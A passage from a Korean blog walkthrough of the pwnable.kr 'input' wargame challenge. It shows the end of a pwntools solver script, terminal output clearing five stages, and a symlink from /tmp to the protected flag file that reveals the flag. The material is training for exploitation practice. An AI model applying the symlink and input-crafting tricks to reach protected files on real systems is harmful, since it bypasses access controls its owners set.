    f.write('\x00\x00\x00\x00')
 
#stage5 
argvs[ord('C')] = '40000'
 
#인자전달, stderr 파일 열기, 환경변수 설정등
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env=envVal)
 
#stage2의 stdin
target.sendline('\x00\x0a\x00\xff')
 
#다시 stage5, 포트가 argv['C']와 일치해야겠죠?
conn = remote('localhost'40000)
conn.send('\xde\xad\xbe\xef')
target.interactive()  
cs


그런데 이 코드를 현재 디렉토리에서는 작성할수가 없습니다. 권한이 없기 때문...

그래서 권한이 있는 /tmp를 이용해야 한다고 합니다!

/tmp에 코드를 작성하고 실행해보겠습니다.


input2@ubuntu:~$ cd /tmp

input2@ubuntu:/tmp$ mkdir m4ndu

input2@ubuntu:/tmp$ cd m4ndu

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

[*] Process '/home/input2/input' stopped with exit code 0

[*] Got EOF while reading in interactive

$


엇 플래그가 뜨지 않습니다.. 플래그 파일이 현재 경로에 없기 때문이죠..

그렇다고 플래그 파일을 복사해 올 수도 없습니다.

그래서 심볼릭 링크를 걸어주고 다시 실행하면 됩니당


input2@ubuntu:/tmp/m4ndu$ ln -s /home/input2/flag flag

input2@ubuntu:/tmp/m4ndu$ ls

flag

input2@ubuntu:/tmp/m4ndu$ vi exex.py


[2]+  Stopped                 vi exex.py

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py 

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

Mommy! I learned how to pass various input in Linux :)

[*] Got EOF while reading in interactive

$  


flag를 얻었습니다!!
FLAG : Mommy! I learned how to pass various input in Linux :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26

+ Recent posts